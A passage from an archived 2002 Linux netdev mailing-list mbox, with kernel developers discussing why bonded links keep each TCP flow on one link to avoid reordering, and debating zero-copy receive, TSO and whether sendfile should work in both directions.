[216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GJuHtG010725 for ; Mon, 16 Sep 2002 12:56:17 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA08873; Mon, 16 Sep 2002 12:52:11 -0700 Date: Mon, 16 Sep 2002 12:52:11 -0700 (PDT) Message-Id: <20020916.125211.82482173.davem@redhat.com> To: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com Cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020913.150439.27187393.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 197 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: todd-lkml@osogrande.com Date: Mon, 16 Sep 2002 08:16:47 -0600 (MDT) are there any standards in progress to support this. Your question makes no sense, it is a hardware optimization of an existing standard. The chip merely is told what flows exist and it concatenates TCP data from consequetive packets for that flow if they arrive in sequence. who is working on this architecture for receives? Once cards with the feature exist, probably Alexey and myself will work on it. Basically, who ever isn't busy with something else once the technology appears. is there a beginning implementation yet of zerocopy receives No. Franks a lot, David S. Miller davem@redhat.com From davem@redhat.com Mon Sep 16 12:59:56 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 12:59:57 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GJxttG011489 for ; Mon, 16 Sep 2002 12:59:55 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id MAA08917; Mon, 16 Sep 2002 12:55:55 -0700 Date: Mon, 16 Sep 2002 12:55:55 -0700 (PDT) Message-Id: <20020916.125555.36549381.davem@redhat.com> To: greearb@candelatech.com Cc: cfriesen@nortelnetworks.com, cacophonix@yahoo.com, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation From: "David S. Miller" In-Reply-To: <3D860246.3060609@candelatech.com> References: <20020913222213.69396.qmail@web14006.mail.yahoo.com> <3D85DB3D.DC65A80B@nortelnetworks.com> <3D860246.3060609@candelatech.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 198 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Ben Greear Date: Mon, 16 Sep 2002 09:09:42 -0700 NAPI helps my problem, but does not make it go away entirely. There is a lot of logic in our TCP input btw that notices packet reordering on the receive side and acts accordingly (ie. it does not fire off fast retransmits or backoff prematurely when reordering is detected) From yan@intruvert.com Mon Sep 16 13:08:05 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 13:08:10 -0700 (PDT) Received: from ivexgw1.intruvert.com (mx1.intruvert.com [65.209.235.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GK85tG011924 for ; Mon, 16 Sep 2002 13:08:05 -0700 Received: by ivexgw.intruvert.com with Internet Mail Service (5.5.2656.59) id ; Mon, 16 Sep 2002 13:12:55 -0700 Message-ID: From: Yan-Fa Li To: "'Ben Greear'" , Chris Friesen Cc: Cacophonix , linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: RE: bonding vs 802.3ad/Cisco EtherChannel link agregation Date: Mon, 16 Sep 2002 13:12:54 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2656.59) Content-Type: text/plain X-archive-position: 199 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yan@intruvert.com Precedence: bulk X-list: netdev I had similar problems with NAPI and DL2K. I was only able to "resolve" the issue by forcing my application and the NIC to a single CPU using CPU affinity hacks. -----Original Message----- From: Ben Greear [mailto:greearb@candelatech.com] Sent: Monday, September 16, 2002 9:10 AM To: Chris Friesen Cc: Cacophonix; linux-net@vger.kernel.org; netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation Chris Friesen wrote: > Cacophonix wrote: > >>--- Chris Friesen wrote: > > >>>This has always confused me. Why doesn't the bonding driver try and >>>spread all the traffic over all the links? >> >>Because then you risk heavy packet reordering within an individual >>flow, which can be detrimental in some cases. --karthik > > > I can see how it could make the receiving host work more on > reassembly, but if throughput is key, wouldn't you still end up better > if you can push twice as many packets through the pipe? > > Chris Also, I notice lots of out-of-order packets on a single gigE link when running at high speeds (SMP machine), so the kernel is still having to reorder quite a few packets. Has anyone done any tests to see how much worse it is with dual-port bonding? NAPI helps my problem, but does not make it go away entirely. Ben > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From cfriesen@nortelnetworks.com Mon Sep 16 14:05:37 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 14:06:38 -0700 (PDT) Received: from zcars0m9.ca.nortel.com (zcars0m9.nortelnetworks.com [47.129.242.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GL5btG014010 for ; Mon, 16 Sep 2002 14:05:37 -0700 Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57]) by zcars0m9.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g8GLAAV08641; Mon, 16 Sep 2002 17:10:10 -0400 (EDT) Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69]) by zcars04f.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g8GLA5t05468; Mon, 16 Sep 2002 17:10:05 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard309.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RL8PHFWY; Mon, 16 Sep 2002 17:10:07 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RDHYHYKQ; Mon, 16 Sep 2002 17:10:07 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id 4B23B2E112; Mon, 16 Sep 2002 17:10:06 -0400 (EDT) Message-ID: <3D8648AE.DD498ECE@nortelnetworks.com> Date: Mon, 16 Sep 2002 17:10:06 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: Chris Friesen X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-6mdkenterprise i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" Cc: greearb@candelatech.com, cacophonix@yahoo.com, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: <20020913222213.69396.qmail@web14006.mail.yahoo.com> <3D85DB3D.DC65A80B@nortelnetworks.com> <3D860246.3060609@candelatech.com> <20020916.125555.36549381.davem@redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 200 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev "David S. Miller" wrote: > There is a lot of logic in our TCP input btw that notices packet > reordering on the receive side and acts accordingly (ie. it does not > fire off fast retransmits or backoff prematurely when reordering > is detected) Okay, that makes me even more curious why we don't send successive packets out successive pipes in a bonded link. It seems to me that when sending packets out a bonded link, we should scan for the next device that has an opening on its queue (perhaps also taking into account link speed etc) so as to try and keep the entire aggregate link working at max capacity. Does this not make sense in the real world for some reason? Maybe a config option CONFIG_MAX_BONDED_THROUGHPUT to allow a single stream to take up the entire aggregate link even if it makes the receiver do more work? Chris From davem@redhat.com Mon Sep 16 14:08:53 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 14:08:54 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GL8rtG014373 for ; Mon, 16 Sep 2002 14:08:53 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id OAA09507; Mon, 16 Sep 2002 14:04:53 -0700 Date: Mon, 16 Sep 2002 14:04:53 -0700 (PDT) Message-Id: <20020916.140453.72638827.davem@redhat.com> To: cfriesen@nortelnetworks.com Cc: greearb@candelatech.com, cacophonix@yahoo.com, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation From: "David S. Miller" In-Reply-To: <3D8648AE.DD498ECE@nortelnetworks.com> References: <3D860246.3060609@candelatech.com> <20020916.125555.36549381.davem@redhat.com> <3D8648AE.DD498ECE@nortelnetworks.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 201 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Chris Friesen Date: Mon, 16 Sep 2002 17:10:06 -0400 Okay, that makes me even more curious why we don't send successive packets out successive pipes in a bonded link. This is not done because it leads to packet reordering which if bad enough can trigger retransmits. Scott Feldman's posting mentioned this, as did one other I think. Same flows (which in this context means TCP connection) must go over the same link to avoid packet reordering at the receiver. From cfriesen@nortelnetworks.com Mon Sep 16 14:17:58 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 14:19:00 -0700 (PDT) Received: from zcars0m9.ca.nortel.com (zcars0m9.nortelnetworks.com [47.129.242.157]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GLHwtG018067 for ; Mon, 16 Sep 2002 14:17:58 -0700 Received: from zcars04e.ca.nortel.com (zcars04e.ca.nortel.com [47.129.242.56]) by zcars0m9.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g8GLMYV10351; Mon, 16 Sep 2002 17:22:34 -0400 (EDT) Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69]) by zcars04e.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g8GLMSY25803; Mon, 16 Sep 2002 17:22:28 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard309.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RL8PHF7W; Mon, 16 Sep 2002 17:22:32 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RDHYHYL4; Mon, 16 Sep 2002 17:22:32 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id E23D12E112; Mon, 16 Sep 2002 17:22:30 -0400 (EDT) Message-ID: <3D864B96.6D0D43F4@nortelnetworks.com> Date: Mon, 16 Sep 2002 17:22:30 -0400 X-Sybari-Space: 00000000 00000000 00000000 From: Chris Friesen X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-6mdkenterprise i686) X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" Cc: greearb@candelatech.com, cacophonix@yahoo.com, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation References: <3D860246.3060609@candelatech.com> <20020916.125555.36549381.davem@redhat.com> <3D8648AE.DD498ECE@nortelnetworks.com> <20020916.140453.72638827.davem@redhat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 202 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev "David S. Miller" wrote: > From: Chris Friesen > > Okay, that makes me even more curious why we don't send successive > packets out successive pipes in a bonded link. > > This is not done because it leads to packet reordering which > if bad enough can trigger retransmits. > > Scott Feldman's posting mentioned this, as did one other I > think. I did see those posts, but then I saw yours on how the linux receive end does the right thing with regards to reordering, and that confused me. So if I have it right linux-linux could theoretically work okay with a single stream over multiple links (potentially causing lots of reordering), but linux-router would not work well. Chris From davem@redhat.com Mon Sep 16 14:23:10 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 14:23:12 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GLMwtG018443 for ; Mon, 16 Sep 2002 14:23:05 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id OAA09608; Mon, 16 Sep 2002 14:17:30 -0700 Date: Mon, 16 Sep 2002 14:17:30 -0700 (PDT) Message-Id: <20020916.141730.20023507.davem@redhat.com> To: cfriesen@nortelnetworks.com Cc: greearb@candelatech.com, cacophonix@yahoo.com, linux-net@vger.kernel.org, netdev@oss.sgi.com Subject: Re: bonding vs 802.3ad/Cisco EtherChannel link agregation From: "David S. Miller" In-Reply-To: <3D864B96.6D0D43F4@nortelnetworks.com> References: <3D8648AE.DD498ECE@nortelnetworks.com> <20020916.140453.72638827.davem@redhat.com> <3D864B96.6D0D43F4@nortelnetworks.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 203 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Chris Friesen Date: Mon, 16 Sep 2002 17:22:30 -0400 I did see those posts, but then I saw yours on how the linux receive end does the right thing with regards to reordering, and that confused me. It's a last ditch effort to keep receive performance on the TCP connection reasonable, it is not meant to be a normal mode of operation. The reordering detection in the TCP stack does not get you back to optimal receive performance, it simply can't. For one thing, all of the fast paths in the TCP input paths require that the packets arrive in order. If bonding did what you suggest, reordering would become the norm and that isn't going to be good for TCP input performance whether we have reordering detection logic or not. From todd-lkml@osogrande.com Mon Sep 16 14:30:48 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 14:30:55 -0700 (PDT) Received: from puerco.nm.org (puerco.nm.org [129.121.1.22]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GLUmtG018897 for ; Mon, 16 Sep 2002 14:30:48 -0700 Received: (qmail 29754 invoked from network); 16 Sep 2002 21:31:55 -0000 Received: from unknown (HELO gallinas) (129.121.5.22) by puerco.nm.org with SMTP; 16 Sep 2002 21:31:55 -0000 Date: Mon, 16 Sep 2002 15:32:56 -0600 (MDT) From: todd-lkml@osogrande.com X-X-Sender: todd@gp.staff.osogrande.com Reply-To: linux-kernel@vger.kernel.org To: "David S. Miller" cc: "linux-kernel@vger.kernel.org" , "todd-lkml@osogrande.com" , "hadi@cyberus.ca" , "tcw@tempest.prismnet.com" , "netdev@oss.sgi.com" , "pfeather@cs.unm.edu" Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 In-Reply-To: <20020916.125211.82482173.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 204 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: todd-lkml@osogrande.com Precedence: bulk X-list: netdev folx, perhaps i was insufficiently clear. On Mon, 16 Sep 2002, David S. Miller wrote: > are there any standards in progress to support this. > > Your question makes no sense, it is a hardware optimization > of an existing standard. The chip merely is told what flows > exist and it concatenates TCP data from consequetive packets > for that flow if they arrive in sequence. hardware optimizations can be standardized. in fact, when they are, it is substantially easier to implement to them. my assumption (perhaps incorrect) is that some core set of functionality is necessary for a card to support zero-copy receives (in particular, the ability to register cookies of expected data flows and the memory location to which they are to be sent). what 'existing standard' is this kernel<->api a standardization of? > who is working on this architecture for receives? > > Once cards with the feature exist, probably Alexey and myself > will work on it. > > Basically, who ever isn't busy with something else once the technology > appears. so if we wrote and distributed firmware for alteon acenics that supported this today, you would be willing to incorporate the new system calls into the networking code (along with the new firmware for the card, provided we could talk jes into accepting the changes, assuming he's still the maintainer of the driver)? that's great. > > is there a beginning implementation yet of zerocopy receives > > No. thanks for your feedback. t. -- todd underwood, vp & cto oso grande technologies, inc. todd@osogrande.com "Those who give up essential liberties for temporary safety deserve neither liberty nor safety." - Benjamin Franklin From davem@redhat.com Mon Sep 16 14:33:40 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 14:33:42 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GLXctG019256 for ; Mon, 16 Sep 2002 14:33:40 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id OAA09730; Mon, 16 Sep 2002 14:29:31 -0700 Date: Mon, 16 Sep 2002 14:29:31 -0700 (PDT) Message-Id: <20020916.142931.126209536.davem@redhat.com> To: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com Cc: hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: References: <20020916.125211.82482173.davem@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 205 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: todd-lkml@osogrande.com Date: Mon, 16 Sep 2002 15:32:56 -0600 (MDT) new system calls into the networking code The system calls would go into the VFS, sys_receivefile is not networking specific in any way shape or form. And to answer your question, if I had the time I'd work on it yes. Right now the answer to "well do you have the time" is no, I am working on something much more important wrt. Linux networking. I've hinted at what this is in previous postings, and if people can't figure out what it is I'm not going to mention this explicitly :-) From dwmw2@redhat.com Mon Sep 16 15:48:27 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 15:48:32 -0700 (PDT) Received: from passion.cambridge.redhat.com (dell-paw-3.cambridge.redhat.com [195.224.55.237]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GMmQtG023471 for ; Mon, 16 Sep 2002 15:48:27 -0700 Received: from dwmw2 (helo=redhat.com) by passion.cambridge.redhat.com with local-esmtp (Exim 3.35 #5) id 17r4jk-00039R-00; Mon, 16 Sep 2002 23:53:00 +0100 X-Mailer: exmh version 2.5 13/07/2001 with nmh-1.0.4 From: David Woodhouse X-Accept-Language: en_GB In-Reply-To: <20020916.142931.126209536.davem@redhat.com> References: <20020916.142931.126209536.davem@redhat.com> <20020916.125211.82482173.davem@redhat.com> To: "David S. Miller" Cc: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 16 Sep 2002 23:53:00 +0100 Message-ID: <12116.1032216780@redhat.com> X-archive-position: 206 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev davem@redhat.com said: > new system calls into the networking code > The system calls would go into the VFS, sys_receivefile is not > networking specific in any way shape or form. Er, surely the same goes for sys_sendfile? Why have a new system call rather than just swapping the 'in' and 'out' fds? -- dwmw2 From davem@redhat.com Mon Sep 16 15:50:44 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 15:50:45 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GMoitG023823 for ; Mon, 16 Sep 2002 15:50:44 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id PAA10220; Mon, 16 Sep 2002 15:46:40 -0700 Date: Mon, 16 Sep 2002 15:46:40 -0700 (PDT) Message-Id: <20020916.154640.78359545.davem@redhat.com> To: dwmw2@infradead.org Cc: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <12116.1032216780@redhat.com> References: <20020916.125211.82482173.davem@redhat.com> <12116.1032216780@redhat.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 207 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: David Woodhouse Date: Mon, 16 Sep 2002 23:53:00 +0100 Er, surely the same goes for sys_sendfile? Why have a new system call rather than just swapping the 'in' and 'out' fds? There is an assumption that one is a linear stream of output (in this case a socket) and the other one is a page cache based file. It would be nice to extend sys_sendfile to work properly in both ways in a manner that Linus would accept, want to work on that? From dwmw2@redhat.com Mon Sep 16 15:58:45 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 15:58:47 -0700 (PDT) Received: from passion.cambridge.redhat.com (dell-paw-3.cambridge.redhat.com [195.224.55.237]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GMwitG024266 for ; Mon, 16 Sep 2002 15:58:45 -0700 Received: from dwmw2 (helo=redhat.com) by passion.cambridge.redhat.com with local-esmtp (Exim 3.35 #5) id 17r4tj-0003CI-00; Tue, 17 Sep 2002 00:03:19 +0100 X-Mailer: exmh version 2.5 13/07/2001 with nmh-1.0.4 From: David Woodhouse X-Accept-Language: en_GB In-Reply-To: <20020916.154640.78359545.davem@redhat.com> References: <20020916.154640.78359545.davem@redhat.com> <20020916.125211.82482173.davem@redhat.com> <12116.1032216780@redhat.com> To: "David S. Miller" Cc: linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 17 Sep 2002 00:03:19 +0100 Message-ID: <12293.1032217399@redhat.com> X-archive-position: 208 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev davem@redhat.com said: > > Er, surely the same goes for sys_sendfile? Why have a new system > > call rather than just swapping the 'in' and 'out' fds? > There is an assumption that one is a linear stream of output (in this > case a socket) and the other one is a page cache based file. That's an implementation detail and it's not clear we should be exposing it to the user. It's not entirely insane to contemplate socket->socket or file->file sendfile either -- would we invent new system calls for those too? File descriptors are file descriptors. > It would be nice to extend sys_sendfile to work properly in both ways > in a manner that Linus would accept, want to work on that? Yeah -- I'll add it to the TODO list. Scheduled for some time in 2007 :) More seriously though, I'd hope that whoever implemented what you call 'sys_receivefile' would solve this issue, as 'sys_receivefile' isn't really useful as anything more than a handy nomenclature for describing the process in question. -- dwmw2 From jgarzik@mandrakesoft.com Mon Sep 16 16:03:54 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 16:03:55 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GN3qtG025081 for ; Mon, 16 Sep 2002 16:03:53 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17r4z0-0007yQ-00; Tue, 17 Sep 2002 00:08:47 +0100 Message-ID: <3D86645F.5030401@mandrakesoft.com> Date: Mon, 16 Sep 2002 19:08:15 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Woodhouse CC: "David S. Miller" , linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 References: <20020916.154640.78359545.davem@redhat.com> <20020916.125211.82482173.davem@redhat.com> <12116.1032216780@redhat.com> <12293.1032217399@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 209 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev David Woodhouse wrote: > davem@redhat.com said: > >>> Er, surely the same goes for sys_sendfile? Why have a new system >>> call rather than just swapping the 'in' and 'out' fds? >> > >>There is an assumption that one is a linear stream of output (in this >>case a socket) and the other one is a page cache based file. > > > That's an implementation detail and it's not clear we should be exposing it > to the user. It's not entirely insane to contemplate socket->socket or > file->file sendfile either -- would we invent new system calls for those > too? File descriptors are file descriptors. I was rather disappointed when file->file sendfile was [purposefully?] broken in 2.5.x... Jeff From davem@redhat.com Mon Sep 16 16:06:19 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 16:06:21 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GN6ItG026042 for ; Mon, 16 Sep 2002 16:06:18 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id QAA10340; Mon, 16 Sep 2002 16:02:11 -0700 Date: Mon, 16 Sep 2002 16:02:10 -0700 (PDT) Message-Id: <20020916.160210.70782700.davem@redhat.com> To: jgarzik@mandrakesoft.com Cc: dwmw2@infradead.org, linux-kernel@vger.kernel.org, todd-lkml@osogrande.com, hadi@cyberus.ca, tcw@tempest.prismnet.com, netdev@oss.sgi.com, pfeather@cs.unm.edu Subject: Re: Early SPECWeb99 results on 2.5.33 with TSO on e1000 From: "David S. Miller" In-Reply-To: <3D86645F.5030401@mandrakesoft.com> References: <12116.1032216780@redhat.com> <12293.1032217399@redhat.com> <3D86645F.5030401@mandrakesoft.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 210 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Jeff Garzik Date: Mon, 16 Sep 2002 19:08:15 -0400 I was rather disappointed when file->file sendfile was [purposefully?] broken in 2.5.x... What change made this happen? From jgarzik@mandrakesoft.com Mon Sep 16 16:44:16 2002 Received: with ECARTIS (v1.0.0; list netdev); Mon, 16 Sep 2002 16:44:17 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8GNiEtG027682 for ; Mon, 16 Sep 2002 16:44:15 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17r5c6-0000CN-00; Tue, 17 Sep 2002 00:49:10 +0100 Message-ID: <3D866DD5.4080207@mandrakesoft.com> Date: Mon, 16 Sep 2002 19:48:37 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: dwmw2@infradead.org, 